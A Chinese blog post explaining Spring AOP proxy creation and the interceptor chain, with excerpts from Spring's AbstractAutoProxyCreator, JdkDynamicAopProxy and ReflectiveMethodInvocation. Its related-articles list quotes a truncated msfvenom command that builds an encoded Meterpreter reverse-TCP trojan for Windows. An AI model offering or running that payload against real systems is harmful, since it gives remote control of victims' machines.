从增强器Advisor窥探AOP原理

news2024/11/25 2:30:11

Spring创建Aop代理过程

AbstractAutowireCapableBeanFactory

  1. Object createBean(String beanName, RootBeanDefinition mbd, @Nullable Object[] args)
  2. Object resolveBeforeInstantiation(String beanName, RootBeanDefinition mbd)
  3. Object applyBeanPostProcessorsBeforeInstantiation(Class<?> beanClass, String beanName)

AbstractAdvisorAutoProxyCreator

  1. Object postProcessBeforeInstantiation(Class<?> beanClass, String beanName)
  2. Object[] getAdvicesAndAdvisorsForBean(Class<?> beanClass, String beanName, @Nullable TargetSource targetSource)
  3. Object createProxy(Class<?> beanClass, @Nullable String beanName,@Nullable Object[] specificInterceptors, TargetSource targetSource)

1. 找出Bean相关的所有增强器Advisor

org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator#postProcessBeforeInstantiation
Object[] specificInterceptors = getAdvicesAndAdvisorsForBean(beanClass, beanName, targetSource);

2. 创建代理工厂对象

org.springframework.aop.framework.autoproxy.AbstractAutoProxyCreator#createProxy

		Advisor[] advisors = buildAdvisors(beanName, specificInterceptors);
		proxyFactory.addAdvisors(advisors);
		proxyFactory.setTargetSource(targetSource);
		customizeProxyFactory(proxyFactory);

		proxyFactory.setFrozen(this.freezeProxy);
		if (advisorsPreFiltered()) {
			proxyFactory.setPreFiltered(true);
		}

		// Use original ClassLoader if bean class not locally loaded in overriding class loader
		ClassLoader classLoader = getProxyClassLoader();
		if (classLoader instanceof SmartClassLoader && classLoader != beanClass.getClassLoader()) {
			classLoader = ((SmartClassLoader) classLoader).getOriginalClassLoader();
		}
		return proxyFactory.getProxy(classLoader);

3. 创建代理对象

org.springframework.aop.framework.DefaultAopProxyFactory#createAopProxy

	public AopProxy createAopProxy(AdvisedSupport config) throws AopConfigException {
		if (!NativeDetector.inNativeImage() &&
				(config.isOptimize() || config.isProxyTargetClass() || hasNoUserSuppliedProxyInterfaces(config))) {
			Class<?> targetClass = config.getTargetClass();
			if (targetClass == null) {
				throw new AopConfigException("TargetSource cannot determine target class: " +
						"Either an interface or a target is required for proxy creation.");
			}
			if (targetClass.isInterface() || Proxy.isProxyClass(targetClass) || AopProxyUtils.isLambda(targetClass)) {
				return new JdkDynamicAopProxy(config);
			}
			return new ObjenesisCglibAopProxy(config);
		}
		else {
			return new JdkDynamicAopProxy(config);
		}
	}

本来以为Spring嵌套代理,其实只创建了一个代理对象
org.springframework.aop.framework.JdkDynamicAopProxy#getProxy(java.lang.ClassLoader)

	public Object getProxy(@Nullable ClassLoader classLoader) {
		if (logger.isTraceEnabled()) {
			logger.trace("Creating JDK dynamic proxy: " + this.advised.getTargetSource());
		}
		return Proxy.newProxyInstance(classLoader, this.proxiedInterfaces, this);
	}

JdkDynamicAopProxy实现了InvocationHandler接口
可以看到,在代理时Spring将所有拦截器添加到调用链List中,然后封装到MethodInvocation对象中

org.springframework.aop.framework.JdkDynamicAopProxy#invoke

	public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
		Object oldProxy = null;
		boolean setProxyContext = false;

		TargetSource targetSource = this.advised.targetSource;
		Object target = null;

		try {
......
			Object retVal;

			if (this.advised.exposeProxy) {
				// Make invocation available if necessary.
				oldProxy = AopContext.setCurrentProxy(proxy);
				setProxyContext = true;
			}

			// Get as late as possible to minimize the time we "own" the target,
			// in case it comes from a pool.
			target = targetSource.getTarget();
			Class<?> targetClass = (target != null ? target.getClass() : null);

			// Get the interception chain for this method.
			List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
			if (chain.isEmpty()) {
				Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
				retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
			}
			else {
				// We need to create a method invocation...
				MethodInvocation invocation =
						new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
				// Proceed to the joinpoint through the interceptor chain.
				retVal = invocation.proceed();
			}
			......
		}
......
	}

这段代码实现了 Spring AOP 框架中获取一个方法的所有拦截器和动态拦截通知的逻辑。
org.springframework.aop.framework.DefaultAdvisorChainFactory#getInterceptorsAndDynamicInterceptionAdvice

	public List<Object> getInterceptorsAndDynamicInterceptionAdvice(
			Advised config, Method method, @Nullable Class<?> targetClass) {

		// This is somewhat tricky... We have to process introductions first,
		// but we need to preserve order in the ultimate list.
		AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
		Advisor[] advisors = config.getAdvisors();
		List<Object> interceptorList = new ArrayList<>(advisors.length);
		Class<?> actualClass = (targetClass != null ? targetClass : method.getDeclaringClass());
		Boolean hasIntroductions = null;

		for (Advisor advisor : advisors) {
			if (advisor instanceof PointcutAdvisor) {
				// Add it conditionally.
				PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor;
				if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
					MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
					boolean match;
					if (mm instanceof IntroductionAwareMethodMatcher) {
						if (hasIntroductions == null) {
							hasIntroductions = hasMatchingIntroductions(advisors, actualClass);
						}
						match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions);
					}
					else {
						match = mm.matches(method, actualClass);
					}
					if (match) {
						MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
						if (mm.isRuntime()) {
							// Creating a new object instance in the getInterceptors() method
							// isn't a problem as we normally cache created chains.
							for (MethodInterceptor interceptor : interceptors) {
								interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
							}
						}
						else {
							interceptorList.addAll(Arrays.asList(interceptors));
						}
					}
				}
			}
			......
		}

		return interceptorList;
	}

递归调用拦截器,最后执行被代理类的方法
org.springframework.aop.framework.ReflectiveMethodInvocation#proceed

	public Object proceed() throws Throwable {
		// We start with an index of -1 and increment early.
		if (this.currentInterceptorIndex == this.interceptorsAndDynamicMethodMatchers.size() - 1) {
			return invokeJoinpoint();
		}

		Object interceptorOrInterceptionAdvice =
				this.interceptorsAndDynamicMethodMatchers.get(++this.currentInterceptorIndex);
		if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) {
			// Evaluate dynamic method matcher here: static part will already have
			// been evaluated and found to match.
			InterceptorAndDynamicMethodMatcher dm =
					(InterceptorAndDynamicMethodMatcher) interceptorOrInterceptionAdvice;
			Class<?> targetClass = (this.targetClass != null ? this.targetClass : this.method.getDeclaringClass());
			if (dm.methodMatcher.matches(this.method, targetClass, this.arguments)) {
				return dm.interceptor.invoke(this);
			}
			else {
				// Dynamic matching failed.
				// Skip this interceptor and invoke the next in the chain.
				return proceed();
			}
		}
		else {
			// It's an interceptor, so we just invoke it: The pointcut will have
			// been evaluated statically before this object was constructed.
			return ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this);
		}
	}

实践

AbstractPointcutAdvisor

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639131.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法基础】常数操作 时间复杂度 选择排序 冒泡排序 插入排序 位运算

常数操作 定义 一个操作如果和样本的数据量没有关系&#xff0c;每次都是固定时间内完成的操作叫做常数操作&#xff0c;比如常见的计算操作&#xff1a;加减乘除。 取出数组中任意位置元素可以叫做常数操作&#xff0c;因为数组的地址是连续的&#xff0c;计算机取的时候可以…

本地加密传输测试-业务安全测试实操(2)

3个测试点:加密传输,session会话,session注销会话 测试原理和方法 本机加密传输测试是针对客户端与服务器的数据传输,查看数据是否采用SSL (Security Socket Layer ,安全套接层)加密方式加密。 测试过程 测试验证客户端与服务器交互数据在网络传输过程中是否采用 SSL 进…

Linux基础知识4

Linux基础知识 适合有Linux基础的人群进行复习。 禁止转载&#xff01; shell编程 shell第一行内容格式&#xff1f; #!bin/sh&#xff0c;#!bin/bash&#xff0c;#!/bin/csh&#xff0c;#!/bin/tcsh或#!/bin/ksh等 执行shell脚本的三种方式 (1)为shell脚本直接加上可执行权…

【STL】 string类使用一站式攻略

目录 一&#xff0c;STL 1. 简介 2. STL的版本 3. STL 六大组件 4. 学习STL&#xff0c; 三境界 5. 学会查看C文档 二&#xff0c; string类 1. 相对于C语言&#xff0c;我们为什么还需要学习C的string&#xff1f; 2. 头文件 3. 常见构造函数 4. operator …

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明&#xff1a; 本章内容&#xff0c;仅供学习&#xff0c;不要用于非法用途&#xff08;做个好白帽&#xff09; &#xff08;一&#xff09;生成木马 命令&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善&#xff0c;没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档&#xff1a;《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载&#xff08;路网、自然特征、POI、江河海...&#xff09; 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载&#xff08;行政划分&#xff09; 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的&#xff0c;所有最近很多博客都是中午或者晚上休息的时候写的&#xff0c;甚至是项目编译的时候编写的。说真的&#xff0c;我最近感觉&#xff0c;对于那种大量的时间&#xff0c;我反而不能很好的运用&#xff0c;反而对于碎片时间&#xff0c;…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题&#xff1a;最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…

Notes/Domino 14 Drop1

大家好&#xff0c;才是真的好。 2023年5月31号&#xff0c;Notes/Domino 14 Drop1如约而至。在晚上照理检查了一下Notes相关博客时&#xff0c;就发现该版本现在可以下载。一诺千金&#xff0c;信若尾生&#xff0c;这是我对14版本的第一个评价。 很多人关心Notes/Domino 14…

【redis-初级】redis安装

文章目录 1.非关系型数据库&#xff08;NoSQL&#xff09;2.在Linux上安装redis2.1 安装前准备2.2 安装2.3 启动2.4 关闭 3. redis客户端3.1 命令客户端3.2redis远程客户端3.3 redis编程客户端 1.非关系型数据库&#xff08;NoSQL&#xff09; 2.在Linux上安装redis 2.1 安装前…

提升网络安全的关键利器:EventLog Analyzer

导语&#xff1a; 随着网络攻击和数据泄露事件的不断增加&#xff0c;企业对于网络安全的关注度也日益提高。在这样的背景下&#xff0c;安全信息与事件管理系统&#xff08;SIEM&#xff09;成为了提升网络安全的关键利器之一。本文将重点介绍一款强大的SIEM工具——EventLog…

Spark大数据处理学习笔记1.4 掌握Scala运算符

文章目录 一、学习目标二、运算符等价于方法&#xff08;一&#xff09;运算符即方法&#xff08;二&#xff09;方法即运算符1、单参方法2、多参方法3、无参方法 三、Scala运算符&#xff08;一&#xff09;运算符分类表&#xff08;二&#xff09;Scala与Java运算符比较 四、…

mac docker 安装 ES

一. docker 安装 ES 1. 下载镜像 docker pull elastcisearch:8.7.1 2. 启动镜像 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" -e ES_JAVA_OPTS"-Xms256m -Xmx256m" elasticsearch:8.7.1 参数说明…

AntDB 存储技术——Hash分片技术

单台机器很难处理海量的数据或者很高的并发查询&#xff0c;需要把数据拆分到多个节点上&#xff0c;在多个节点上进行存储和处理&#xff0c;这种技术叫作数据分区&#xff0c;也称为数据分片。数据分片的主要目的是提高可扩展性&#xff0c;使数据分散到多个节点上&#xff0…

【Java】冒泡排序

文章目录 一、什么是冒泡排序定义冒泡思想代码实现 二、冒泡排序的优化第一次优化第二次优化 三、鸡尾酒排序 一、什么是冒泡排序 定义 冒泡排序(bubble sort)是最基础的排序算法&#xff0c;它是一种基础的交换排序。它的原理就像汽水一样&#xff0c;汽水中常常有许多小气泡…

Vue第八篇Vue3

一 Vue3的变化 1.性能的提升 打包大小减少41% 初次渲染快55%, 更新渲染快133% 内存减少54% 2.源码的升级 使用Proxy代替defineProperty实现响应式 重写虚拟DOM的实现和Tree-Shaking 3.拥抱TypeScript Vue3可以更好的支持TypeScript 4.新的特性 Composition API&#…

Leetcode---349周赛

题目列表 2733. 既不是最小值也不是最大值 2734. 执行子串操作后的字典序最小字符串 2735. 收集巧克力 2736. 最大和查询&#xff08;这题难度较大&#xff0c;等以后有时间再和大家分享&#xff09; 一、2733、既不是最小值也不是最大值 关键是看到题目中说数组中的元素不…